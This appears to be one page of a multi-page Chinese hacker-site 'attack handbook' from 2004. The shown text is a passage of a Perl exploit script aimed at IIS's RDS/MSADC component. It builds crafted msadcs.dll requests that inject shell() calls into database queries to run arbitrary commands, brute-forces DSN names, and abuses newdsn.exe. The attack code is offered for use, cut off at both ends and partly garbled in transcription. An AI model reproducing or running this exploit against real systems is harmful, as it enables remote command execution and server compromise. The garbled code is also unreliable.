网络程序攻击手册 || 中国X黑客小组


	您现在的位置：中国X黑客小组 >> 技术文章 >> 黑客技术 >> 入侵检测 >> 文章正文	用户登录新用户注册

网络程序攻击手册

热荐 ★★★

【字体：小大】

网络程序攻击手册

作者：未知文章来源：CnXHacker.Net 点击数：更新时间：2004-11-7

of DSN names...";
&dsn_dict; } else { "nNo -e; Step 5 skipped.nn"; }

print "Sorry Charley...maybe next time?n";
exit;

##############################################################################

sub sendraw {　　　# ripped and modded from whisker
　　sleep($delay); # it's a DoS on the server! At least on mine...
　　my ($pstr)=@_;
　　socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
　　　　　die("Socket problemsn");
　　if(connect(S,pack "SnA4x8",2,80,$target)){
　　　　　select(S);　　　　　 $|=1;
　　　　　print $pstr;　　　　　 my @in=<S>;
　　　　　select(STDOUT);　　　　　 close(S);
　　　　　return @in;
　　} else { die("Can't connect...n"); ]

##############################################################################

sub make_header { # make the HTTP request
my $msadc=<<EOT
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: $clen
Connection: Keep-Alive

ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3

--!ADM!ROX!YOUR!WORLD!
Content-Type: application/x-varg
Content-Length: $reqlen

EOT
; $msadc=~s/n/rn/g;
return $msadc;}

##############################################################################

sub make_req { # make the RDS request
my ($switch, $p1, $p2)=@_;
my $req=""; my $t1, $t2, $query, $dsn;

if ($switch==1){ # this is the btcustmr.mdb query
$query="select * from Customers where City=" . make_shell();
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
　　$p1 . ":\" . $p2 . "\help\iis\htm\tutorial\btcustmr.mdb;";}

elsif ($switch==2){ # this is general make table query
$query="create table AZZ (B int, C varchar(10))";
$dsn="$p1";}

elsif ($switch==3){ # this is general exploit table query
$query="select * from AZZ where C=" . make_shell();
$dsn="$p1";}

elsif ($switch==4){ # attempt to hork file info from index server
$query="select path from scope()";
$dsn="Provider=MSIDXS;";}

elsif ($switch==5){ # bad query
$query="select";
$dsn="$p1";}

$t1= make_unicode($query);
$t2= make_unicode($dsn);
$req = "x02x00x03x00";
$req.= "x08x00" . pack ("S1", length($t1));
$req.= "x00x00" . $t1 ;
$req.= "x08x00" . pack ("S1", length($t2));
$req.= "x00x00" . $t2 ;
$req.="rn--!ADM!ROX!YOUR!WORLD!--rn";
return $req;}

##############################################################################

sub make_shell { # this makes the shell() statement
return "'|shell("$command")|'";}

##############################################################################

sub make_unicode { # quick little function to convert to unicode
my ($in)=@_; my $out;
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "x00"; }
return $out;}

##############################################################################

sub rdo_success { # checks for RDO return success (this is kludge)
my (@in) = @_; my $base=content_start(@in);
if($in[$base]=~/multipart/mixed/){
return 1 if( $in[$base+10]=~/^x09x00/ );}
return 0;}

##############################################################################

sub make_dsn { # this makes a DSN for us
my @drives=("c","d","e","f");
print "nMaking DSN: ";
foreach $drive (@drives) {
print "$drive: ";
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft%2B" .
　　"Access%2BDriver%2B%28*.mdb%29&dsn=wicca&dbq="
　　. $drive . "%3A%5Csys.mdb&newdb=create_DB&attr= HTTP/1.0nn");
$results[0]=~m#HTTP/([0-9.]+) ([0-9]+) ([^n]*)#;
return 0 if $2 eq "404"; # not found/doesn't exist
if($2 eq "200") {
foreach $line (@results) {
return 1 if $line=~/<H2>Datasource creation successful</H2>/;]
} return 0;}

##############################################################################

sub verify_exists {
my ($page)=@_;
my @results=sendraw("GET $page HTTP/1.0nn");
return $results[0];}

##############################################################################

sub try_btcustmr {
my @drives=("c","d","e","f");
my @dirs=("winnt","winnt35","winnt351","win","windows");

foreach $dir (@dirs) {
print "$dir -> "; # fun status so you can see progress
foreach $drive (@drives) {
print "$drive: "; # ditto
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;

my @results=sendraw(make_header() . make_req(1,$drive,$dir));
if (rdo_success(@results)){print "Success!n";save(1,1,$drive,$dir);exit;}
else { verbose(odbc_error(@results)); funky(@results);] print "n";]

##############################################################################

sub odbc_error {
my (@in)=@_; my $base;
my $base = content_start(@in);
if($in[$base]=~/application/x-varg/){ # it *SHOULD* be this
$in[$base+4]=~s/[^a-zA-Z0-9 []:/\'()]//g;
$in[$base+5]=~s/[^a-zA-Z0-9 []:/\'()]//g;
$in[$base+6]=~s/[^a-zA-Z0-9 []:/\'()]//g;
return $in[$base+4].$in[$base+5].$in[$base+6];}
print "nNON-STANDARD error. Please sent this info to rfp@wiretrip.net:n";
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
　　$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}

##############################################################################

sub verbose {
my ($in)=@_;
return if !$verbose;
print STDOUT "n$inn";}

##############################################################################

sub save {
my ($p1, $p2, $p3, $p4)=@_;
open(OUT, ">rds.save") || print "Problem saving parameters...n";
print OUT "$ipn$p1n$p2n$p3n$p4n";
close OUT;}

##############################################################################

sub load {
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
open(IN,"<rds.save") || die("Couldn't open rds.saven");
@p=<IN>; close(IN);
$ip="$p[0]"; $ip=~s/n//g; $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems");
print "Resuming to $ip ...";
$p[3]="$p[3]"; $p[3]=~s/n//g; $p[4]="$p[4]"; $p[4]=~s/n//g;
if($p[1]==1) {
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
if (rdo_success(@results)){print "Success!n";}
else { print "failedn"; verbose(odbc_error(@results));]
elsif ($p[1]==3){
　　if(run_query("$p[3]")){
　　print "Success!n";} else { print "failedn"; ]
elsif ($p[1]==4){
　　if(run_query($drvst . "$p[3]")){
　　print "Success!n"; } else { print "failedn"; ]
exit;}

##############################################################################

sub create_table {
my ($in)=@_;
$reqlen=length( make_req(2,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(2,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results); verbose($temp);
return 1 if $temp=~/Table 'AZZ' already exists/;
return 0;}

##############################################################################

sub known_dsn {
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
　　"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
　　"banner", "banners", "ads", "ADCDemo", "ADCTest");

foreach $dSn (@dsns) {
　　print ".";
　　next if (!is_access("DSN=$dSn"));
　　if(create_table("DSN=$dSn")){
　　print "$dSn successfuln";
　　if(run_query("DSN=$dSn")){
　　print "Success!n"; save (3,3,"DSN=$dSn",""); exit; } else {
print "Something's borked. Use verbose next timen";]} print "n";}

##############################################################################

sub is_access {
my ($in)=@_;
$reqlen=length( make_req(5,$in,"") ) -

上一页 [1] [2] [3] [4] [5] [6] 下一页

文章录入：IceRiver 责任编辑：IceRiver

上一篇文章：动力文章系统入侵

下一篇文章：一次通过注入侵渗透USA网站过程

【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

最新热点		最新推荐		相关文章
				XSS漏洞另一个攻击趋势 “伪颗粒”变种后台秘密监视灰鸽子变种NH远程控制用户偷 06月27日病毒播报 Data URI XSS与验证About XH 微软将超1亿收购语义搜索Pow 近期警惕：黑客利用高考查分 "木马点击器"泛滥点击欺诈威 XP获死缓两年 Vista全面推广卖场现200元电脑低价二手电

　网友评论：（只显示最新5条。评论内容只代表网友观点，与本站立场无关！）


关于我们 - 版权声明 - 帮助(？) - 广告服务 - 联系我们 - 友情链接 - 用户注册 -	Powered by ICE RIVER - STUDIO

» CnXHacker.CoM